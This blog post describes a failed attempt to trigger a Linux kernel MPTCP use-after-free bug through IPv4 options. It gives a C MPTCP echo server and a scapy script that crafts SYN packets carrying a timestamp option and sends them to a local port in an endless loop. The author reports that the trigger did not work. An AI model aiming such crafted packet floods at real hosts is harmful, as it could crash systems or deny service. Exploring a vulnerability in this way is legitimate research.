CVE-2026-98432 – Linux MPTCP IPv4 option use-after-free

Written by

in

So anyway, I wanted to see if I could trigger the race condition and get the kernel to panic… but I couldn’t, at least not under UTM (maybe it’s too slow when used under a hypervisor).

The first thing you need is a TCP server with multi-path enabled (IPPROTO_MPTCP). Here’s some vibe-coded code:


#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#ifndef IPPROTO_MPTCP
#define IPPROTO_MPTCP 262
#endif

#define PORT 5000
#define BUFFER_SIZE 4096

int main(void)
{
    int server_fd, client_fd;
    struct sockaddr_in addr;
    char buffer[BUFFER_SIZE];

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_MPTCP);
    if (server_fd < 0) {
        perror("MPTCP socket");
        return EXIT_FAILURE;
    }

    int opt = 1;
    if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR,
                   &opt, sizeof(opt)) < 0) {
        perror("setsockopt");
        close(server_fd);
        return EXIT_FAILURE;
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = htonl(INADDR_ANY);
    addr.sin_port = htons(PORT);

    if (bind(server_fd, (struct sockaddr *)&addr,
             sizeof(addr)) < 0) {
        perror("bind");
        close(server_fd);
        return EXIT_FAILURE;
    }

    if (listen(server_fd, 5) < 0) {
        perror("listen");
        close(server_fd);
        return EXIT_FAILURE;
    }

    printf("MPTCP server listening on port %d\n", PORT);

    client_fd = accept(server_fd, NULL, NULL);
    if (client_fd < 0) {
        perror("accept");
        close(server_fd);
        return EXIT_FAILURE;
    }

    printf("Client connected\n");

    ssize_t n;
    while ((n = recv(client_fd, buffer,
                     sizeof(buffer), 0)) > 0) {
        size_t sent = 0;

        while (sent < (size_t)n) {
            ssize_t ret = send(client_fd, buffer + sent,
                               (size_t)n - sent, 0);
            if (ret <= 0) {
                perror("send");
                close(client_fd);
                close(server_fd);
                return EXIT_FAILURE;
            }
            sent += (size_t)ret;
        }
    }

    if (n < 0)
        perror("recv");

    close(client_fd);
    close(server_fd);
    return n < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}

After compiling and running that as a server, I then used the following python script with scapy (vibe coded):

from scapy.all import IP, TCP, IPOption, sr1, RandShort, send

# 1. Define the target IP address and port
target_ip = "127.0.0.1" 
target_port = 5000  # Common port, change to any port you are testing (e.g., 22, 443)

# 2. Craft the IPv4 Timestamp Option bytes
# Type = 68 (\x44), Length = 36 (\x24), Pointer = 5 (\x05), Overflow/Flag = 1 (\x01)
# Remaining 32 bytes initialized to zero for routers to fill in
ts_option_bytes = b'\x44\x24\x05\x01' + b'\x00' * 32
ts_option = IPOption(ts_option_bytes)

# 3. Construct the packet layers
# IP Layer gets the IPv4 Timestamp option.
# TCP Layer gets the SYN flag ('S') and a random source port.
packet = IP(dst=target_ip, options=[ts_option]) / TCP(sport=RandShort(), dport=target_port, flags="S")

print(f"[*] Sending TCP SYN packet to {target_ip}:{target_port} with IPv4 Timestamp Option...")
packet.show()

# 4. Send the packet and wait for a response

reply = sr1(packet, timeout=2, verbose=False)

if reply:
    print("\n[+] Received reply!")
    reply.show()
    
    # Check if the target responded with a SYN-ACK or a RST
    if reply.haslayer(TCP):
        if reply[TCP].flags == "SA":
            print(f"[!] Port {target_port} is OPEN (Received SYN-ACK)")
        elif reply[TCP].flags == "RA" or reply[TCP].flags == "R":
            print(f"[!] Port {target_port} is CLOSED (Received RST)")
else:
    print("\n[-] No reply received. The packet or option was likely dropped by a firewall.")

while True:
#    send(packet, verbose=False)
    send(packet)

This script sends the IPv4 option “timestamp”, which is apparently one of the options that supposedly trigger this Linux kernel bug.

I couldn’t get it to work. The race condition is probably hard to trigger under a hypervisor (the hypervisor was set to 2 cpu cores).

But anyway, I haven’t had a look at this in depth, this was just like 15 minutes of playing around. Have a try, and good luck.

Edit: I think the problem was I needed to fully handshake the TCP connection (i.e. establish a connection) instead of just sending SYN packets.

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *